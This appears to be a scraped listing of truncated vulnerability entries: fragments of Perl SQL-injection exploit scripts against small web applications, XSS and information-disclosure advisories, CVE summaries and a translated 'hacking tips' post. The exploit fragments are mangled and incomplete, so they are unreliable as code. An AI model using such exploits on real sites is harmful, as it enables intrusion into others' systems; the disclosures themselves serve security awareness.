CERN İmage Map Dispatcher

CERN Image Map Dispatcher /cgi-bin/htimage.exe comes by default with FrontPage. I found three bugs in "htimage.exe": 1 Gives us the full path to the root directory 2 Simple buffer overflow 3 Allow us to access files. Problem 1 Like I said, the first bug gives us the full path to the root director...

phpwind 5.0.1 SQL Injection Vulnerability Exploit

No description provided by source. 0 ? intval$argv3:1; echo "\r\nLogging\t........"; ifislogin echo "Login Ok!\r\n"; else die"Not Login!\tCheck Your Cookie and Useragent!\r\n"; echo "Testing\t........"; iftest echo "Vul!\r\n"; else di...

XOOPS Module Tutoriais (viewcat.php) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================= XOOPS Module Tutoriais viewcat.php Remote SQL Injection Exploit ================================================================= !/usr/bin/perl Script Name: XOOPS Module...

ScriptMagix FAQ Builder 2.0 - index.php SQL Injection

ScriptMagix FAQ Builder 2.0 - index.php SQL Injection !/usr/bin/perl Script Name: ScriptMagix FAQ Builder : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit; $target =...

Click N Print Coupons 2006.01 - 'key' SQL Injection

!/usr/bin/perl Script Name: Click N' Print Coupons : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit; print "User : "; $ID = ; chop $ID; if $ID = /exit/ print "-- Exploit FailedYou Are Exited \n"...

The Classified Ad System 1.0 - 'main' SQL Injection

!/usr/bin/perl Script Name: The Classified Ad System 1.0 main Remote SQL Injection Exploit Coded by : ajann Author : ajann Contact : : S.Page : http://www.mxmania.net $$ : 29.99 . .. : ajann,Turkey use IO::Socket; if@ARGV : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are...

NewsLetter MX 1.0.2 - ID SQL Injection

NewsLetter MX 1.0.2 - ID SQL Injection !/usr/bin/perl Script Name: Newsletter MX : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit; print "User : "; $ID = ; chop $ID; if $ID = /exit/ print "--...

Enthrallweb emates 1.0 (newsdetail.asp) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ==================================================================== Enthrallweb emates 1.0 newsdetail.asp Remote SQL Injection Exploit ==================================================================== !/usr/bin/perl Script Name:...

Enthrallweb ePages (actualpic.asp) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications =============================================================== Enthrallweb ePages actualpic.asp Remote SQL Injection Exploit =============================================================== !/usr/bin/perl Script Name: Enthrallweb ePages...

IBMWAS-XSS.txt

Title: Cross Site Scripting XSS Vulnerability in IBM WebSphere Application Server ProCheckUp Security Bulletin Description: IBM WebSphere Application Server is vulnerable to Cross Site Scripting through a 'faultfactor' tag in the 500 Internal Server Error page on port 8880 default SOAP port. Date...

Cross site scripting

Cross-site scripting XSS vulnerability in the 500 Internal Server Error page on the SOAP port 8880/tcp in IBM WebSphere Application Server 5.0.2 and earlier, 5.1.x before 5.1.1.12, and 6.0.2 up to 6.0.2.7, allows remote attackers to inject arbitrary web script or HTML via the URI, which is...

Hacking tips-domestic famous website vulnerability-vulnerability warning-the black bar safety net

Recently about system vulnerabilities,has nothing of interest. Because now a patch out very quickly. The large site has been nothing system. Even if you use twwwscan,namp, etc. might very strong scanner also impossible to scan what the hell,there,is also deceptive. But,the so-called hundred Secre...

Orion / Compaq HTTP Server crossite scripting

Crossite scripting with error messages...

CVE-2004-2150

Nettica Corporation INTELLIPEER Email Server 1.01 displays different error messages for valid and invalid account names, which allows remote attackers to determine valid account names...

Mandrake Linux Security Advisory : bind (MDKSA-2002:038-1)

A vulnerability was discovered in the BIND9 DNS server in versions prior to 9.2.1. An error condition will trigger the shutdown of the server when the rdataset parameter to the dnsmessagefindtype function in message.c is not NULL as expected. This condition causes the server to assert an error...

XOOPS 2.0 XoopsOption - Information Disclosure

XOOPS 2.0 XoopsOption - Information Disclosure source: https://www.securityfocus.com/bid/7149/info XOOPS has been reported vulnerable to an information disclosure vulnerability. According to the report, path information and other sensitive data may be output in server error messages. Information...

IIS 5.0 Cross Site Scripting vulnerability

SYSTEMS AFFECTED ======== IIS 5.0 / Windows 2000 SP2 - SRP1 exploited with a browser CONTENTS ========= Subject: IIS 5.0 Cross Site Scripting Vulnerability Date: 27 September 2002 Risk: Medium DESCRIPTION ========= IIS 5.0 can be forced to return malicious content in user's browser. By using a...

CVE-2001-1073

CVE-2001-1073 affects Webridge PX Application Suite and enables information disclosure: a malformed request triggers a server error that reveals internal path/IP data in variables APPL_PHYSICAL_PATH, PATH_TRANSLATED, and LOCAL_ADDR. The description does not provide exploit specifics, affected ver...

CVE-2001-1073

Webridge PX Application Suite allows remote attackers to obtain sensitive information via a malformed request that generates a server error message, which includes full pathname or internal IP address information in the variables 1 APPLPHYSICALPATH, 2 PATHTRANSLATED, and 3 LOCALADDR...

CVE-2001-1073

Webridge PX Application Suite allows remote attackers to obtain sensitive information via a malformed request that generates a server error message, which includes full pathname or internal IP address information in the variables 1 APPLPHYSICALPATH, 2 PATHTRANSLATED, and 3 LOCALADDR...